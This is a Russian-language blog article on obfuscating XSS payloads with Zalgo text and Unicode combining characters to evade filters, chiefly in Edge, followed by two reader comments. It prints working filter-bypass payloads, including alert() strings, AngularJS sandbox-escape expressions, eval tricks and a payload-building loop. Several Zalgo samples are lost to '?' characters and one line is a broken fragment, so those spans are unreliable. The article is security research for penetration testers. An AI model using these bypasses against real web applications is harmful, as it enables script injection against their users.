Использование нестандартных техник обфускации пейлоада (полезной нагрузки) при проведении тестирования на проникновение веб-приложений может позволить обходить фильтрацию защитных средств и способствовать реализации вектора атаки. В этой статье я расскажу про т.н. Z?a???l???????g?o????F???????u?z???z???????i??????n?g?????? как метод обфускации (размытия) пейлоадов.

Z???????a??????l????g?o?????


В первую очередь давайте разберем что такое Zalgo и такую
! особенность построения текста. В тексте используются комбинированные символы, также известные как комбинированные метки. Символы, имеющие графическое представление, в стандарте Юникода подразделяются на базовые и комбинируемые (или модифицирующие). Комбинируемые названы так, потому что при отображении комбинируются с рядом стоящим базовым символом (модифицируют его).

Использование таких последовательностей символов позволяет исказить полезную нагрузку, приведя ее к «нестандартному виду».

Например, данный javascript-код будет валиден в Edge: ??????????????????????????????????????????????????????????????????alert(??????????????????????????????1??????????????????????????????)??????????????????????????????????????????????????????????????????????????????????????

Чтобы cгенерировать Zalgo, можно повторить одиночные символы, либо объединить два символа, и повторить второй. Следующий пример генерирует визуальные дефекты, повторяющиеся сами по себе, в основном объединяют символы unicode:

834,1425,1427,1430,1434,1435,1442,1443,1444,1445,1446,1447,1450,1453,1557,1623,1626,3633,3636,3637,3638,3639,3640,3641,3642,3655,3656,3657,3658,3659,3660,3661,3662

Cледующий JavaScript будет генерировать визуальные дефекты, используя один из символов выше ????????????????????:

<script>document.write(String.fromCharCode(834).repeat(20))</script>

Принцип построения «фаззящей» последовательности проста — вывод символов максимально возможно горизонтальной длины, либо преображение и отображение с «разрывом». Этом поможет достичь эффекта некорректного отображения множественных символов UNICODE как пробельных, например так:

???alert(???'XSS Edge'???)???
Здесь ожидаемое поведение — это фильтрация, но на самом деле происходит событие Alert. Эти ошибки связаны с некорректным парсингом смешанного содержимого запроса.

Есть схожие методы обхода защитных средств, основанные на внедрении UNICODE символов:
†‡•HackerOne).

Эти методы могут быть как обособленными векторами применения, так и конкретными, связанными со спецификой того или иного приложения, например AngularJS:

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}

В ветке обсуждения отображения последовательностей представлен еще один пример обхода парсинга:

eval('alert'+String.fromCharCode(6158)+'(1)')

Основной смысл такого обхода — преобразования символов, проходящих фильтры, в необходимую последовательность, на выходе дающую работающий (уже прошедший фильтр) пейлоад. В качестве примера привожу изображение, демонстрирующее такое преобразование:

image

Исследователем Gareth Heyes опубликован фаззер, объединяющий UNICODE совмещение и Zalgo, названный им Z?a???l???????g?o????F???????u?z???z???????i??????n?g?????? для выявлении последовательностей UNIСODE символов, преобразующихся в валидный javascript.

Таким образом был составлен пейлоад для обхода фильтрации EDGE, заключающийся в добавлении символов, обрабатываемых как пробельные. Таким образом была выявлена последовательность в виде символа 837 вместе с любым символом из диапазона 768-879:

a= [];
for(i=768;i<=858;i++){
  a.push(String.fromCharCode(837)+String.fromCharCode(i).repeat(5));
}
a[10]+='alert('
a[15]+='1';
a[20]+=')';
input.value=a.join('')
eval(a.join(''));

Таким образом получается валидный пейлоад: ??????????????????????????????????????????????????????????????????alert(??????????????????????????????1??????????????????????????????)??????????????????????????????????????????????????????????????????????????????????????

Тема использования UNICODE-нормализации для обхода защитных средств далеко не нова (но и не сильно распространена), но тем не менее, позволяет находить новые способы обхода фильтрации.

> Unicode Security Guide

Комментарии (2)


  1. arandomic
    15.03.2018 13:48

    www.npmjs.com/package/unzalgo
    Хотя не уверен, что к EDGE его не прикрутишь


  1. domix32
    15.03.2018 14:52

    Не очень понял кто вообще осиливает запускать залгофицированные скрипты. Chrome 64 и FF 58 не осилили, ругаясь на некорректные символы. То есть нужно какое-то особенное стечение обстоятельств, где модифицирующие символы будут почищены? Или версию браузера постарше?